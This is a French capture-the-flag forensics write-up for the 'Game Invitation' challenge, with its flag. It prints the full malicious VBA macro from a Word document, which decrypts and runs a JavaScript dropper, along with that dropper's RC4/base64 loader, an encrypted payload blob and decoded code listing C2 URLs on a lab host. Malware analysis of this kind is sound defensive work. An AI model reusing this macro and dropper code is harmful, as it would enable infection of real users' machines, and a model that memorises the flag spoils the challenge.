Game Invitation

Catégorie: Forensics Difficulté: hard Flag: HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}

Challenge

140KB

forensics_game_invitation.zip

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Description

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In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: "Join The Fray: Embrace the Challenge." But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?

Analyse de invitation.docm

On a un docm c’est à dire un fichier Office qui contient des macros. Pour les extraires j’utilise oledump.py

$ oledump.py invitation.docm
A: word/vbaProject.bin
 A1:       424 'PROJECT'
 A2:        71 'PROJECTwm'
 A3: M    5580 'VBA/NewMacros'
 A4: m     938 'VBA/ThisDocument'
 A5:      3354 'VBA/_VBA_PROJECT'
 A6:       572 'VBA/dir'

On voit que le 3ème stream sont des macros, on les extraits avec la commande oledump.py -s 3 --vbadecompressskipattributes invitation.docm > macro.vba

Voici le code VBA que l’on en ressort après avoir remis un peu d’ordre dans ces variables pour mieux comprendre ce que l’on voit :

Public filepath As String
Public appData As String

Function decrypt(given_string() As Byte, length As Long) As Boolean
    Dim xor_key As Byte
    xor_key = 45
    For i = 0 To length - 1
        given_string(i) = given_string(i) Xor xor_key
        xor_key = ((xor_key Xor 99) Xor (i Mod 254))
    Next i
    decrypt = True
End Function

Sub AutoClose() 'delete the js script'
    On Error Resume Next
    Kill filepath
    On Error Resume Next
    Set fs = CreateObject("Scripting.FileSystemObject")
    fs.DeleteFile appData & "\*.*", True
    Set fs = Nothing
End Sub

Sub AutoOpen()
    On Error Goto LABEL_Exit
        Dim chkDomain As String
        Dim strUserDomain As String
        chkDomain = "GAMEMASTERS.local"
        strUserDomain = Environ$("UserDomain")
        If chkDomain <> strUserDomain Then

        Else

            Dim fileId
            Dim file_length As Long
            Dim length As Long
            file_length = FileLen(ActiveDocument.FullName)
            fileId = FreeFile
            Open (ActiveDocument.FullName) For Binary As #fileId
            Dim fileContent() As Byte
            ReDim fileContent(file_length)
            Get #fileId, 1, fileContent
            Dim data As String
            data = StrConv(fileContent, vbUnicode)
            Dim match, matches
            Dim regex
            Set regex = CreateObject("vbscript.regexp")
            regex.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
            Set matches = regex.Execute(data)
            Dim index
            If matches.Count = 0 Then
                Goto LABEL_Exit
                End If
                For Each match In matches
                    index = match.FirstIndex
                 Exit For
                    Next
                    Dim payload() As Byte
                    Dim payloadSize As Long
                    payloadSize = 13082
                    ReDim payload(payloadSize)
                    Get #fileId, index + 81, payload
                    If Not decrypt(payload(), payloadSize + 1) Then
                        Goto LABEL_Exit
                        End If
                        appData = Environ("appdata") & "\Microsoft\Windows"
                        Set fs = CreateObject("Scripting.FileSystemObject")
                        If Not fs.FolderExists(appData) Then
                            appData = Environ("appdata")
                        End If
                        Set fs = Nothing
                        Dim fileIdMalware
                        fileIdMalware = FreeFile
                        filepath = appData & "\" & "mailform.js"
                        Open (filepath) For Binary As #fileIdMalware
                        Put #fileIdMalware, 1, payload
                        Close #fileIdMalware
                        Erase payload
                        Set shell = CreateObject("WScript.Shell")
                        shell.Run """" + filepath + """" + " vF8rdgMHKBrvCoCp0ulm"
                        ActiveDocument.Save
                     Exit Sub
 LABEL_Exit:
                        Close #fileIdMalware
                        ActiveDocument.Save
                    End If
End Sub

Ce que fait le script en gros :

1. Si la variable d’environnement est GAMEMASTERS.local alors le script s’arrête là

2. Le script récupère le contenu du fichier .docm actuel

3. Il recherche ensuite une chaîne de caractères dedans et récupère les 13082 bytes après

4. Le contenu récupéré est déchiffré avec la fonction decrypt

5. Le déchiffré est enregistré dans le fichier %APPDATA%/mailform.js

6. Le fichier est exécuté avec comme argument vF8rdgMHKBrvCoCp0ulm

On va donc rechercher cette chaîne et la déchiffrer en python :

def decrypt(data: bytes) -> str:
	decrypted = bytearray(data)
	key = 45
	for i in range(len(decrypted)):
		decrypted[i] ^= key
		key = (key ^ 99) ^ (i % 254)
	return decrypted.decode()

def solve():
	with open('invitation.docm', 'rb') as f:
		data = f.read()

	pattern = b"sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
	payload_size = 13082

	index = data.find(pattern) + len(pattern)
	content = data[index:index+payload_size]

	with open('mailform.js', 'w') as f:
		f.write(decrypt(content))

if __name__ == '__main__':
	solve()

---

Analyse de mailform.js

On se retrouve avec un fichier Javascript :

var lVky = WScript.Arguments;
var DASz = lVky(0);
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
eval(Iwlh);

function af5Q(r) {
    var a = r.charCodeAt(0);
    if (a === 43 || a === 45) return 62;
    if (a === 47 || a === 95) return 63;
    if (a < 48) return -1;
    if (a < 48 + 10) return a - 48 + 26 + 26;
    if (a < 65 + 26) return a - 65;
    if (a < 97 + 26) return a - 97 + 26
}

function JrvS(r) {
    var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var t;
    var l;
    var h;
    if (r.length % 4 > 0) return;
    var u = r.length;
    var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
    var n = new Array(r.length * 3 / 4 - g);
    var i = g > 0 ? r.length - 4 : r.length;
    var z = 0;

    function b(r) {
        n[z++] = r
    }

    for (t = 0, l = 0; t < i; t += 4, l += 3) {
        h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
        b((h & 16711680) >> 16);
        b((h & 65280) >> 8);
        b(h & 255)
    }
    if (g === 2) {
        h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
        b(h & 255)
    } else if (g === 1) {
        h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
        b(h >> 8 & 255);
        b(h & 255)
    }
    return n
}

function xR68(r, a) {
    var t = [];
    var l = 0;
    var h;
    var u = "";
    for (var g = 0; g < 256; g++) {
        t[g] = g
    }
    for (var g = 0; g < 256; g++) {
        l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
        h = t[g];
        t[g] = t[l];
        t[l] = h
    }
    var g = 0;
    var l = 0;
    for (var n = 0; n < a.length; n++) {
        g = (g + 1) % 256;
        l = (l + t[g]) % 256;
        h = t[g];
        t[g] = t[l];
        t[l] = h;
        u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256])
    }
    return u
}

function lyEK() {
    var r = "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";
    return r
}

On va pas s’embêter à tout reverse, on va simplement faire un console.log à la place de l’eval de la ligne 6

Il faut simplement remplacer les deux premières ligne pour mettre const DASz = "vF8rdgMHKBrvCoCp0ulm" (c’est l’argument passé par le vba). Et on obtient :

function S7EN(KL3M) {
    var gfjd = WScript.CreateObject("ADODB.Stream");
    gfjd.Type = 2;
    gfjd.CharSet = "437";
    gfjd.Open();
    gfjd.LoadFromFile(KL3M);
    var j3k6 = gfjd.ReadText;
    gfjd.Close();
    return l9BJ(j3k6)
}

var WQuh = new Array("http://challenge.htb/wp-includes/pomo/db.php", "http://challenge.htb/wp-admin/includes/class-wp-upload-plugins-list-table.php");
var zIRF = "KRMLT0G3PHdYjnEm";
